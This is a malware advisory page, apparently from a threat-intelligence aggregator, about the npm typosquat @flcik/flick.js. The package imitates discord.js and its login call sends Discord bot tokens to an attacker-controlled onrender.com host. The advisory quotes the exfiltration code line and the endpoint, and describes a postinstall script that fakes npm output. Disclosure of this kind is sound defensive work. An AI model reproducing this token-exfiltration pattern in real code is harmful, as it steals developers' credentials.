Malicious code in @flcik/flick.js (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d31c087b34f156cf2b5ae7070222a57e2d760d68f9c4c73721c2800eb7b6bf62) @flcik/[email protected] replicates the discord.js public API surface (FlickClient, GatewayIntentBits, SlashCommandBuilder, ButtonStyle, MessageFlags, the canonical `client.login('YOUR_BOT_TOKEN')` + messageCreate/!ping/Pong! example) but the implementation diverges in one critical place: `client.login()` in flick.js takes the supplied token and POSTs it to a hardcoded author-controlled endpoint. Specifically, flick.js line 1025 issues `await this._rest.post('/api/auth/token', { token: this.token })` against `DEFAULT_BASE_URL='https://flick-xmfx.onrender.com'` (flick.js line 19). Any developer who installs this package mistaking it for discord.js and pastes their Discord bot token into `client.login(...)` ships that token to flick-xmfx.onrender.com on the first call. Several corroborating signals confirm the package is engineered as a credential funnel rather than a real SDK: (1) `package.json` declares `"main": "index.js"` but no index.js exists in the tarball — the only shipped JS files are flick.js and postinstall.js, so `require('@flcik/flick.js')` throws, indicating the package is not built for library consumption; (2) postinstall.js fabricates a fake npm install summary (`✓ added <count> packages in <secs>s`) padded with 400–1200ms of randomness to imitate npm's own completion banner — social-engineering cover typical of typosquats; (3) the package name `@flcik/flick.js` is a transposition of `flick`/`flick.js` styled to brand-confuse against `discord.js`. Installer harm is direct: Discord bot tokens are bearer credentials granting full control of the bot account (message read/send, server join, user impersonation in the bot's scope). ## Source: ghsa-malware (51632d0a7f14c5e108f4a7f4b1237d1734454aa7a6eecad6fd0bba1de633bb4a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
AI Analysis
Technical Summary
@flcik/flick.js is a malicious npm package impersonating discord.js by replicating its public API surface but diverging critically in implementation. Specifically, the client.login() method sends the provided Discord bot token to an attacker-controlled URL (https://flick-xmfx.onrender.com). The package is not a functional SDK, as it lacks the declared main entry point and includes a postinstall script that fakes npm install output to mislead users. This package is engineered as a credential stealer targeting Discord bot tokens, which are bearer credentials granting full control over the bot account. The presence of this package on a system indicates a full compromise, and all secrets should be rotated immediately from a clean environment.
Potential Impact
The malicious package exfiltrates Discord bot tokens to an attacker-controlled server, enabling full control over the compromised bot account, including message reading, sending, server joining, and user impersonation within the bot's scope. The package's installation may also lead to full system compromise, as indicated by the advisory stating that any computer with this package installed should be considered fully compromised. Secrets and keys stored on the affected system are at risk and must be rotated.
Mitigation Recommendations
Remove the @flcik/flick.js package immediately from all affected systems. Consider all systems with this package installed as fully compromised. Rotate all secrets, tokens, and keys from a separate, uncompromised environment. There is no official patch or fix available for this malicious package. Avoid installing packages with suspicious or typo-squatted names. Verify package authenticity before use.
Malicious code in @flcik/flick.js (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d31c087b34f156cf2b5ae7070222a57e2d760d68f9c4c73721c2800eb7b6bf62) @flcik/[email protected] replicates the discord.js public API surface (FlickClient, GatewayIntentBits, SlashCommandBuilder, ButtonStyle, MessageFlags, the canonical `client.login('YOUR_BOT_TOKEN')` + messageCreate/!ping/Pong! example) but the implementation diverges in one critical place: `client.login()` in flick.js takes the supplied token and POSTs it to a hardcoded author-controlled endpoint. Specifically, flick.js line 1025 issues `await this._rest.post('/api/auth/token', { token: this.token })` against `DEFAULT_BASE_URL='https://flick-xmfx.onrender.com'` (flick.js line 19). Any developer who installs this package mistaking it for discord.js and pastes their Discord bot token into `client.login(...)` ships that token to flick-xmfx.onrender.com on the first call. Several corroborating signals confirm the package is engineered as a credential funnel rather than a real SDK: (1) `package.json` declares `"main": "index.js"` but no index.js exists in the tarball — the only shipped JS files are flick.js and postinstall.js, so `require('@flcik/flick.js')` throws, indicating the package is not built for library consumption; (2) postinstall.js fabricates a fake npm install summary (`✓ added <count> packages in <secs>s`) padded with 400–1200ms of randomness to imitate npm's own completion banner — social-engineering cover typical of typosquats; (3) the package name `@flcik/flick.js` is a transposition of `flick`/`flick.js` styled to brand-confuse against `discord.js`. Installer harm is direct: Discord bot tokens are bearer credentials granting full control of the bot account (message read/send, server join, user impersonation in the bot's scope). ## Source: ghsa-malware (51632d0a7f14c5e108f4a7f4b1237d1734454aa7a6eecad6fd0bba1de633bb4a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
@flcik/flick.js is a malicious npm package impersonating discord.js by replicating its public API surface but diverging critically in implementation. Specifically, the client.login() method sends the provided Discord bot token to an attacker-controlled URL (https://flick-xmfx.onrender.com). The package is not a functional SDK, as it lacks the declared main entry point and includes a postinstall script that fakes npm install output to mislead users. This package is engineered as a credential stealer targeting Discord bot tokens, which are bearer credentials granting full control over the bot account. The presence of this package on a system indicates a full compromise, and all secrets should be rotated immediately from a clean environment.
Potential Impact
The malicious package exfiltrates Discord bot tokens to an attacker-controlled server, enabling full control over the compromised bot account, including message reading, sending, server joining, and user impersonation within the bot's scope. The package's installation may also lead to full system compromise, as indicated by the advisory stating that any computer with this package installed should be considered fully compromised. Secrets and keys stored on the affected system are at risk and must be rotated.
Mitigation Recommendations
Remove the @flcik/flick.js package immediately from all affected systems. Consider all systems with this package installed as fully compromised. Rotate all secrets, tokens, and keys from a separate, uncompromised environment. There is no official patch or fix available for this malicious package. Avoid installing packages with suspicious or typo-squatted names. Verify package authenticity before use.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-10521
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-f5p8-w3hq-m27h"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a55ff4a68715ace432efc33
Added to database: 07/14/2026, 09:20:10 UTC
Last enriched: 07/14/2026, 09:23:45 UTC
Last updated: 07/23/2026, 03:01:06 UTC
Views: 7
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.